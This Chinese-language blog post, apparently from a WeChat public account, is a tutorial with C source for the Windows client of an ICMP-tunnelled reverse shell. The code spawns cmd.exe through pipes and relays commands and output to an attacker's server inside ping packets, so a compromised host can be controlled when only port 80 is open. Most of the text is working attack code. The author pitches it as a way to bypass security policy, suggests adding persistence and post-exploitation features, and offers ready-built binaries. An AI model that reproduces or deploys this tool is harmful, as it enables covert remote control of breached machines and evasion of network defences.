千呼万唤始出来~~~
从上一篇ICMP协议弹shell的server开发文章后,团队抽空打了几场小比赛,做了几个小Hvv,直到今天才抽空继续把client带给大家。
上篇文章地址:C语言写另类绕墙弹shell之ICMP协议(上)
上一篇文章很多小伙伴没明白为什么要用ICMP协议,这么做的目的是什么,这里我解答一下。
比如一个资产对外出口,只开放了一个80web的端口,即便你拿下了webshell,但是想要弹shell或者其他交互,你都需要在标靶上开通一个端口来跟你进行通信,但是出口只放了一个正在使用的端口,这个时候,ICMP通信就起到作用了。很多时候,很多资产是不会去主动禁用ICMP的,也就是我们所谓的禁ping,那么我们使用ICMP协议就能够不开通任何其他端口的情况下进行数据交互了。这样也是绕过安全策略通信的一种灰常灰常有效滴方法!
废话不多说,开始今天的client的编写,同样是使用C语言。
首先写任何程序之前,逻辑我们先梳理清楚。
1、需要把shell交互过来,肯定是要先建立一个shell的管道;
2、构建ICMP的文件、通道、缓冲区等等;
3、循环发送shell管道数据和接收sever指令数据直到接收到结束指令。
0x01 首先需要加载几个windows的系统函数
int load_deps(){HMODULE lib;lib = LoadLibraryA("ws2_32.dll");if (lib != NULL) {to_ip = GetProcAddress(lib, "inet_addr");if (!to_ip) {return 0;}}lib = LoadLibraryA("iphlpapi.dll");if (lib != NULL) {icmp_create = GetProcAddress(lib, "IcmpCreateFile");icmp_send = GetProcAddress(lib, "IcmpSendEcho");if (icmp_create && icmp_send) {return 1;}}lib = LoadLibraryA("ICMP.DLL");if (lib != NULL) {icmp_create = GetProcAddress(lib, "IcmpCreateFile");icmp_send = GetProcAddress(lib, "IcmpSendEcho");if (icmp_create && icmp_send) {return 1;}}printf("无法加载函数 (%u)", GetLastError());return 0;}
这里用到了三个dll,里面API函数具体是干什么的可以自行去查文档,这里就不详细说明了。
0x02 创建shell的通信管道
SECURITY_ATTRIBUTES sattr;STARTUPINFOA si;HANDLE in_read, out_write;memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));memset(pi, 0x00, sizeof(PROCESS_INFORMATION));memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));sattr.nLength = sizeof(SECURITY_ATTRIBUTES);sattr.bInheritHandle = TRUE;sattr.lpSecurityDescriptor = NULL;if (!CreatePipe(out_read, &out_write, &sattr, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!CreatePipe(&in_read, in_write, &sattr, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {return STATUS_PROCESS_NOT_CREATED;}
注意,这里是创建一个跟cmd通信的管道,不是跟server的ICMP通讯
0x03 创建流程,这里直接调用CMD
memset(&si, 0x00, sizeof(STARTUPINFO));si.cb = sizeof(STARTUPINFO);si.hStdError = out_write;si.hStdOutput = out_write;si.hStdInput = in_read;si.dwFlags |= STARTF_USESTDHANDLES;if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {return STATUS_PROCESS_NOT_CREATED;}CloseHandle(out_write);CloseHandle(in_read);return STATUS_OK;
用通俗的话说,就是打开一个cmd然后建立管道和他进行数据通信。
0x04 写个函数来处理ICMP的数据
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout){int rs;char *temp_in_buf;int nbytes;PICMP_ECHO_REPLY echo_reply;temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);if (!temp_in_buf) {return TRANSFER_FAILURE;}//将数据发送到远程主机rs = icmp_send(icmp_chan,target,out_buf,out_buf_size,NULL,temp_in_buf,max_in_data_size + ICMP_HEADERS_SIZE,timeout);//检查接收到的数据if (rs > 0) {echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;if (echo_reply->DataSize > max_in_data_size) {nbytes = max_in_data_size;} else {nbytes = echo_reply->DataSize;}memcpy(in_buf, echo_reply->Data, nbytes);*in_buf_size = nbytes;free(temp_in_buf);return TRANSFER_SUCCESS;}free(temp_in_buf);return TRANSFER_FAILURE;}
正常的ICMP数据,就是我们说的ping包,需要我们对接收发送的数据进行自定义处理,才能达到我们自定义数据交互的目的,所以单独用一个函数来处理这些数据。
0x05 开始写main函数
//创建icmp通道create_icmp_channel(&icmp_chan);if (icmp_chan == INVALID_HANDLE_VALUE) {printf("无法创建ICMP文件:%u\n", GetLastError());return -1;}//分配传输缓冲区in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);if (!in_buf || !out_buf) {printf("无法为传输缓冲区分配内存\n");return -1;}memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
首先肯定是创建ICMP通道,然后分配缓冲区。
接着用do while循环创建一个发送和接收的回路
blanks = 0;do {switch(status) {case STATUS_SINGLE://用静态字符串答复out_buf_size = sprintf(out_buf, "Test1234\n");break;case STATUS_PROCESS_NOT_CREATED://回复错误消息out_buf_size = sprintf(out_buf, "未创建进程\n");break;default://通过管道从过程中读取数据out_buf_size = 0;if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {if (out_buf_size > 0) {out_buf_size = 0;rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);if (!rs && GetLastError() != ERROR_IO_PENDING) {out_buf_size = sprintf(out_buf, "错误:ReadFile %i 失败\n", GetLastError());}}} else {out_buf_size = sprintf(out_buf, "错误:PeekNamedPipe %i 失败\n", GetLastError());}break;}//发送请求/接收响应if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {if (status == STATUS_OK) {//将响应中的数据写入管道WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);}blanks = 0;} else {//未收到回复或出现错误blanks++;}//在请求之间等待Sleep(delay);} while (status == STATUS_OK && blanks < max_blanks);
至此,核心的逻辑代码我们就编写完成了,至于一些更友好的参数交互方式等等,大家根据个人需求可以自行拓展。
这里举个例子,比如写一个参数交互。
先写一个使用方法的说明
void usage(char *path){printf("%s [选项] -t 目标\n", path);printf("选项:\n");printf(" -h 帮助\n");printf(" -t 主机地址 发送ping请求的主机ip地址\n");printf(" -r 发送单个测试icmp请求,然后退出\n");printf(" -d 毫秒 请求之间的延迟(毫秒) (默认值为 %u)\n", DEFAULT_DELAY);printf(" -o 毫秒 超时(毫秒)\n");printf(" -b 响应数 最大未响应数(未响应的icmp请求)\n");printf(" 达到最大未响应数则退出\n");printf(" -s 字节数 最大数据缓冲区大小(以字节为单位)(默认值为64字节)\n\n", DEFAULT_MAX_DATA_SIZE);printf("为了提高速度,降低请求之间的延迟(-d)或\n");printf("增加数据缓冲区的大小(-s)\n");}
然后在main函数里面判断参数是否为空或者合法
for (opt = 1; opt < argc; opt++) {if (argv[opt][0] == '-') {switch(argv[opt][1]) {case 'h':usage(*argv);return 0;case 't':if (opt + 1 < argc) {target = argv[opt + 1];}break;case 'd':if (opt + 1 < argc) {delay = atol(argv[opt + 1]);}break;case 'o':if (opt + 1 < argc) {timeout = atol(argv[opt + 1]);}break;case 'r':status = STATUS_SINGLE;break;case 'b':if (opt + 1 < argc) {max_blanks = atol(argv[opt + 1]);}break;case 's':if (opt + 1 < argc) {max_data_size = atol(argv[opt + 1]);}break;default:printf("无法识别的选项 -%c\n", argv[1][0]);usage(*argv);return -1;}}}
这些功能大家都可以继续进行拓展,例如一些潜伏控制啊,后渗透等等等等的功能~~~~~
------可爱的分割线------
打包一个成品送给大家。
编译了win32和win64的client,server我只编译了amd64的linux,至于需要32位或者arm的,可以自行编译。
具体演示可以看上篇~~
关注本公众号,回复 ICMP 即可获取下载连接 (●'◡'●)